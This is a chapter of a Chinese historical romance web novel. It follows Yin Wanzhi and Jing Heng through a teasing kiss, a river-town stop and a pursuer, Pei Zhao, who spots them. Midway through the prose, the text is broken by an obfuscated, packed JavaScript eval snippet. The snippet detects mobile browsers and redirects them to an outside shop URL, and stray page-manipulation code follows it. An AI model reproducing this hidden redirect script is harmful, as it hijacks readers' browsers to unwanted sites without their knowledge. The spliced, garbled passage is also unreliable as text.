殷晚枝被这突如其来的吻弄得猝不及防。 就连口中才发出的几个短促音节都被对面人吞之入腹。 与昨夜那个凶狠霸道的吻截然不同,这吻很慢,很细致,他含住她的唇,一点点深入,勾着她回应。 殷晚枝原本的那点不快,被这缓慢的节奏磨得稀碎了,心痒难耐,忍不住想加深这个吻,他却总是恰到好处地避开,只在她唇畔流连。 “嗯……”她难耐地哼了一声,双手攀上他的肩颈,指尖无意识插进他散落的墨发中。 景珩顺势揽住她的腰,将女人往上一托,她不得不低头俯就,这个角度让她完全落入他的掌控,甚至能清晰看见女人震颤的睫羽,和绯红的眼尾。 他目光一寸寸将女人此刻的媚态收入眼中。 吻得越发用力。 这个吻由起初的温吞变得激烈,到最后甚至添了点疯狂。 殷晚枝被他亲得浑身发软,气息被掠夺殆尽,她下意识认为热毒发作了。 “可……可以吗?” 她喘息着伏在他胸前,感受着他胸腔平稳的心跳,和透过薄薄衣料传来的体温。 然后,她听见男人同样带着粗.喘声音在耳边响起,传到耳朵里,带着点酥麻的痒意:“不可,现在是白日。” 殷晚枝一愣。 这算什么理由? 她猛地抬头,对上他清明的眼眸。 那里虽有情欲,却远未到失控的地步,他神色平静,哪里有一点毒发的样子? 他是在故意逗她! “你……”她脸颊瞬间涨红,不知是气的还是羞的。 景珩抬手,指腹擦过她唇角的水渍,动作暧昧,眼神却冷静:“怎么?失望了?” “杳杳既决定跟我去雍州,来日方长,不必拘于一时。” 男人将“杳杳”二字咬得极重,似乎在提醒二人现在的情人关系。 陡然听见自己小字被人这般缠绵叫出来,殷晚枝脸上直发烫。 说到底,她也并非情场老手。 正经算起来,她就勾引过两个人,一个是宋昱之,再一个就是他。 而且宋昱之多数时候只是表面冷淡,实际上好骗得很,根本没让她花什么功夫,更谈不上什么经验。 不像面前这人,几次三番下来,她也清楚意识到,这人简直……难搞得要命! 殷晚枝突然很后悔,当初居然会觉得这人和宋昱之气质相当,还觉得这人好拿捏。 只能是哑巴吃黄连,有苦说不出。 她憋着气,最后咬唇瞪着男人:“那……那入夜呢?入夜也不行吗?”表情瞧着委屈,实际却是猫咪伸爪似得试探。 景珩没说话,只静静看着她,眸色渐深。 热毒霸道,交.合确实能缓解,但一旦开始便如饮鸩止渴,接下来七日都需……日夜纠缠,再难停下,只是这利害鲜少有人知晓。 他对这女人是生了些不该有的念头,但那更多是热毒催化的错觉与生理本能。 他是大乾储君,未来天子,怎能被情欲牵制,又怎能受制于一个满心算计、身份不明的女子? 景珩喉结轻动:“就这般喜欢我?” 殷晚枝觑着他的神色,这次没有迟疑:“当然!”才怪,她在心里默默补充。 她先前确实被男人美色短暂迷惑,但眼下明显心中怨怼更占上风。 景珩心道,他并不需要。 但抬眸……对上那双期盼的双眼,他终究也没说出拒绝的话,只是没有意义地嗯了声。 不知是答应还是拒绝。 嗯?答应了? 殷晚枝眼睛一亮,恼意登时散去,心情都好了几分。 见他腰侧纱布因方才动作渗出血迹,她当即站了起来,生怕晚一步伤口撕裂,万一因此影响晚上发挥就不好了。 忙道:“你好好坐着,伤口流血了,我去拿药。” 然后疾步去了隔壁。 怀中的温热骤然消失,景珩嘴角垂落。 其实,从前在军营里受过的伤比这重的多得多,这么点算不得什么。 但女人走得太快。 他想说什么最终还是咽了回去。 真是……麻烦。 …… 殷晚枝给景珩换完药,已是午膳时分。 门外沈珏端着食盒来送饭,低着头放下就走,全程没敢看殷晚枝一眼。 殷晚枝觉得稀奇。 “这是怎么了?” 自那日后,这小子最近像是转了性,不仅话少,连早晨雷打不动的练武都停了。 好几次她想找他问点船上杂事,人都躲得飞快。 景珩只一眼,就重新收回目光:“无事。过两天就好了。” 殷晚枝不再多问,毕竟人家兄长都说没事。 她只当是小孩心性。 接受不了她和他兄长在一起。 殊不知,从上次看见的那极具冲击力的一幕到现在,沈珏都还没缓过来,梦中都是那些旖旎的画面。 青杏正好拿着册子过来,面上有点苦恼:“娘子,昨日清点东西发现香料、灯油、还有好些细软都不够。” 殷晚枝就知道。 先前在宁州为了躲裴昭,实在走得仓促。 好多东西都没来得及搬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149163|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过好在不是什么大问题,这些东西倒是不难买,等路过那些村镇时再去采买点。 巧得是,又行几里路,果真遇上个个小渡口。 那旁边立着块木牌,上面三个歪七扭八的大字。 ——临江镇。 于是乎。 船在午后就停靠在了临江镇的码头。 这是个不大的沿江小镇,码头却热闹,大小船只停靠,挑夫货郎往来穿梭。 殷晚枝换了身方便行动的衣裙,正要下船,手腕却被从身后握住。 她回头,见景珩不知何时也出了舱,站在她身后。 他换了身干净的衣裳,脸色依旧不太好,但精神尚可。 目光扫过码头上来往的人群,眼底掠过一丝暗芒。 “戴上。” 他将一顶垂至腰间的帷帽递给她。 殷晚枝一愣:“不用吧?这渡口看着人也不多……” “遮阳。” 这理由听着就很敷衍。 但是无奈男人面色严肃,看着很认真的样子。 甚至亲自将帷帽给她戴好,白纱垂落,将她整个人笼得严严实实,连身形都模糊了。 殷晚枝透过白纱看他,隐约能看见他线条清晰的下颌和紧抿的薄唇。 “萧先生管得真宽。” 她笑了笑,到底还是纵容了。 景珩没接话,只道:“我与你同去。” “你伤还没好……” “无妨。” 他率先下了船,殷晚枝只好跟上。 渡口另一边,一艘不起眼的小船也刚停稳。 裴昭斜倚在铺着锦垫的矮榻上,指尖把玩着几枚泛着寒光的飞镖。 他面前的舱壁上,钉着一张不大的靶盘。 靶心处,“宋昱之”三个字歪斜狰狞。 镖镖命中。 最后一枚飞镖脱手,精准地钉在“之”字最后一笔上,入木三分。 护卫垂首立于阴影里,大气不敢喘。 主子心情不好时,总爱玩这个。 “公子,”护卫低声禀报,“就是那艘船。江宁宋家旁系的商船,主事的是个姓宋的寡妇,近日大量采买了冰块。” 裴昭没回头,只漫不经心地“嗯”了一声。 他抽出最后一支飞镖,在指尖转了转,目光才懒懒投向窗外。 码头上人来人往,他的视线却精准地锁定在那艘货船旁—— 一个身形高大的男人正给一个戴着帷帽的女子整理纱帘。 男人动作自然,甚至带着点不经意的亲昵,手指掠过女子鬓发时,停留了一瞬。 而那女子,虽看不清面容,可那身段、那走路的姿态…… 裴昭眯起眼。 飞镖在他指尖停住。 “就是那艘船?”他问,声音听不出情绪。 “是。”护卫顿了顿,“可要现在去回禀上面?” 裴昭没答。 他盯着那对渐行渐远的背影,直到他们消失在码头的拐角中,才收回视线。 “把船主人的信息拿来。”他淡淡道。 护卫很快呈上一张纸。 裴昭接过,目光一行行扫过。 船主:宋杳,江宁宋氏旁支,新寡,携仆从数人南下…… 他的指尖在“宋杳”二字上停了停。